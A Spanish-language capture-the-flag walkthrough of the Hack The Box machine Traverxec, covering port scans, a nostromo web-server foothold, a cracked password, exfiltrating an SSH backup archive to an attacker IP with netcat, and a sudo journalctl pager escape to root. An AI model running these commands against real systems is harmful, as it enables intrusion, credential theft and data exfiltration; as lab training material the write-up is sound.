Traverxec
| Sistema operativo | Dificultad | Fecha de Lanzamiento | Creador |
|---|---|---|---|
| Linux | Easy | 16 Noviembre 2019 | jkr |
Escaneo de puertos
nmap -sS -p- --open -Pn -n --min-rate 5000 -oG openPorts -vvv 10.10.10.165
Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-08 10:10 -03
Initiating SYN Stealth Scan at 10:10
Scanning 10.10.10.165 [65535 ports]
Discovered open port 22/tcp on 10.10.10.165
Discovered open port 80/tcp on 10.10.10.165
Completed SYN Stealth Scan at 10:11, 26.48s elapsed (65535 total ports)
Nmap scan report for 10.10.10.165
Host is up, received user-set (0.18s latency).
Scanned at 2025-04-08 10:10:39 -03 for 27s
Not shown: 65533 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 26.55 seconds
Raw packets sent: 131086 (5.768MB) | Rcvd: 23 (1.120KB)
Enumeración de versión y servicio
nmap -sCV -p22,80 -oN servicesScan 10.10.10.165
Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-08 10:11 -03
Nmap scan report for 10.10.10.165 (10.10.10.165)
Host is up (0.17s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u1 (protocol 2.0)
| ssh-hostkey:
| 2048 aa:99:a8:16:68:cd:41:cc:f9:6c:84:01:c7:59:09:5c (RSA)
| 256 93:dd:1a:23:ee:d7:1f:08:6b:58:47:09:73:a3:88:cc (ECDSA)
|_ 256 9d:d6:62:1e:7a:fb:8f:56:92:e6:37:f1:10:db:9b:ce (ED25519)
80/tcp open http nostromo 1.9.6
|_http-server-header: nostromo 1.9.6
|_http-title: TRAVERXEC
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.51 seconds
Explotación inicial
HTTP (80)

nostromo 1.9.6

Entablamos una reverse shell.
Nos ponemos en escucha con Netcat por el puerto 4444
nc -lnvp 4444


Enumeramos con linpeas y encontramos el siguiente hash.

Lo crackeamos con John

david:Nowonly4me

Esa contraseña no no sirve. Toca seguir enumerando.
www-data@traverxec:/var/nostromo$ cat conf/nhttpd.conf
# MAIN [MANDATORY]
servername traverxec.htb
serverlisten *
serveradmin david@traverxec.htb
serverroot /var/nostromo
servermimes conf/mimes
docroot /var/nostromo/htdocs
docindex index.html
# LOGS [OPTIONAL]
logpid logs/nhttpd.pid
# SETUID [RECOMMENDED]
user www-data
# BASIC AUTHENTICATION [OPTIONAL]
htaccess .htaccess
htpasswd /var/nostromo/conf/.htpasswd
# ALIASES [OPTIONAL]
/icons /var/nostromo/icons
# HOMEDIRS [OPTIONAL]
homedirs /home
homedirs_public public_www

Transferimos el archivo a nuestra máquina usando netcat
Nos ponemos en escucha por el purto 1234 para recibir el archivo.
nc -lvp 1234 > backup.tgz
En la máquina víctima ejecutamos lo siguiente:
nc 10.10.14.5 1234 < /home/david/public_www/protected-file-area/backup-ssh-identity-files.tgz


Escalación de privilegios root

/usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service
El script devuelve las últimas 5 líneas de los registros del servicio nostromo mediante journalctl. Esto es explotable porque journalctl invoca el paginador predeterminado, que probablemente sea less. El comando less muestra la salida en la pantalla del usuario y espera la entrada del usuario una vez que se muestra el contenido. Esto puede explotarse ejecutando un comando de shell.
!/bin/bash
